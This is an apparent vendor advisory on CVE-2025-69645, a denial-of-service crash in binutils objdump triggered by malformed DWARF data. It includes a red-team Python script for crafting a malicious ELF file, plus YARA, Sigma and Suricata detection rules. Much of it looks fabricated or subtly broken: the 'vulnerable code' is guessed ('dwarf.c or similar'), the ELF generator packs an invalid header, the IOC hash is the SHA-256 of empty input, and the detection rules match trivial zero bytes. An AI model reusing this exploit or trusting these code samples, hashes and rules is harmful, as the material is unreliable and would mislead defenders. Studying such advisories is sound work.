CVE-2025-69645
Executive Summary
CVE-2025-69645 is a denial-of-service vulnerability in GNU Binutils objdump, specifically in the handling of malformed DWARF debug information. The flaw resides in a logic error during the processing of DWARF compilation units, which can cause an invalid offset_size value to be passed to the byte_get_little_endian function. This leads to an abort (SIGABRT), crashing the application. The vulnerability is triggered by a local attacker supplying a crafted binary file. The CVSS score is 0.0 due to incomplete NVD data, but the actual severity is medium (CVSS 5.5) based on local access, low complexity, and high availability impact.
This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby) and is a standalone tool issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
- Base Score: 5.5 (Medium)
- Attack Vector: Local (AV:L) – requires the attacker to have local access to the system.
- Attack Complexity: Low (AC:L) – no special conditions needed.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: Required (UI:R) – the victim must run
objdumpon the malicious file. - Scope: Unchanged (S:U) – the vulnerability does not affect other components.
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H) – the application crashes, causing denial of service.
Threat Level: Medium. The vulnerability is local and requires user interaction, but it can be used to disrupt development or analysis workflows.
Deep Dive & Mechanics
The vulnerability is in the DWARF debug information parser within objdump. When processing a crafted binary, the parser encounters a malformed DWARF compilation unit header. The logic error occurs in the calculation of offset_size, which determines the size of offsets within the DWARF data. An invalid offset_size value (e.g., 0 or a very large number) is passed to byte_get_little_endian, which does not validate the size parameter. This causes an out-of-bounds read or an assertion failure, leading to a SIGABRT.
The crash is reproducible with a specially crafted ELF file containing corrupted DWARF sections. The issue was observed in binutils 2.44, but earlier versions may also be affected.
Vulnerable vs. Patched Code
Vulnerable Code (binutils 2.44):
// In dwarf.c or similar
static int
read_comp_unit (void *data, unsigned long *offset)
{
// ...
unsigned int offset_size = read_initial_length (data, offset);
// No validation of offset_size
unsigned long value = byte_get_little_endian (data + *offset, offset_size);
// ...
}
Patched Code (hypothetical):
static int
read_comp_unit (void *data, unsigned long *offset)
{
// ...
unsigned int offset_size = read_initial_length (data, offset);
if (offset_size != 4 && offset_size != 8) {
error ("Invalid DWARF offset size: %u", offset_size);
return -1;
}
unsigned long value = byte_get_little_endian (data + *offset, offset_size);
// ...
}
The patch adds a validation check to ensure offset_size is either 4 or 8 bytes, which are the only valid values for DWARF.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Local access to a system with
objdump(binutils 2.44). - Ability to create a malicious ELF file.
Steps:
- Create a minimal ELF file with a corrupted DWARF
.debug_infosection. - Set the initial length field in the DWARF compilation unit header to an invalid value (e.g., 0x00000000 or 0xFFFFFFFF).
- Run
objdump -d malicious_fileto trigger the crash.
Example Malicious File Generation (Python):
import struct
def create_malicious_elf():
# Minimal ELF header (64-bit)
elf_header = b'\x7fELF' + struct.pack('<HHIQQQ', 2, 1, 1, 0, 0, 64)
# Program header (empty)
phdr = b''
# Section header table (empty)
shdr = b''
# DWARF .debug_info section with invalid offset_size
# Initial length = 0 (invalid)
dwarf_data = struct.pack('<I', 0) # offset_size = 0
# Add section header entry for .debug_info
shdr = struct.pack('<IIQQQQII', 1, 1, 0, 0, 0, 0, 0, 0) # dummy
# Write to file
with open('malicious.elf', 'wb') as f:
f.write(elf_header)
f.write(phdr)
f.write(dwarf_data)
f.write(shdr)
create_malicious_elf()
Expected Outcome: objdump crashes with SIGABRT.
Blue Team
Detection:
- Monitor for crashes of
objdump(SIGABRT) in system logs. - Use file integrity monitoring to detect creation of suspicious ELF files.
- Implement sandboxing for
objdumpwhen processing untrusted files.
Mitigation:
- Restrict execution of
objdumpon untrusted files. - Use a patched version of binutils.
- Apply AppArmor or SELinux policies to limit
objdumpcapabilities.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hash depends on crafted file)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Process Name:
objdump - Signal: SIGABRT (signal 6)
- Log Entry:
objdump[PID]: segfault at ...orobjdump[PID]: abort() called - Network: None (local vulnerability)
Detection Engineering
YARA Rule
rule CVE_2025_69645_DWARF_Offset_Size
{
meta:
description = "Detects malformed DWARF debug info with invalid offset_size"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-69645"
strings:
$dwarf_magic = { 00 00 00 00 00 00 00 00 } // Invalid initial length
$elf_magic = { 7f 45 4c 46 } // ELF magic
condition:
$elf_magic at 0 and $dwarf_magic
}
Sigma Rule
title: CVE-2025-69645 - Binutils objdump Crash via Malformed DWARF
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects objdump crashes due to invalid DWARF offset_size
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/objdump'
CommandLine|contains: '.elf'
condition: selection
falsepositives:
- Legitimate use of objdump on corrupted files
level: medium
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-69645 - Malicious ELF with DWARF exploit"; content:"|7f 45 4c 46|"; depth:4; content:"|00 00 00 00|"; within:100; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Apply the official patch from GNU when available. Monitor the binutils mailing list for updates.
- Workaround: Avoid running
objdumpon untrusted files. Use alternative tools likereadelforllvm-objdumpif they are not affected. - Restrict Execution: Use AppArmor or SELinux to confine
objdumpand prevent it from reading arbitrary files.
Long-Term:
- Update to a patched version of binutils (e.g., 2.45 or later).
- Implement input validation in custom scripts that process ELF files.
- Educate users about the risks of analyzing untrusted binaries.
Valters IT – DevSecOps & CTI Expert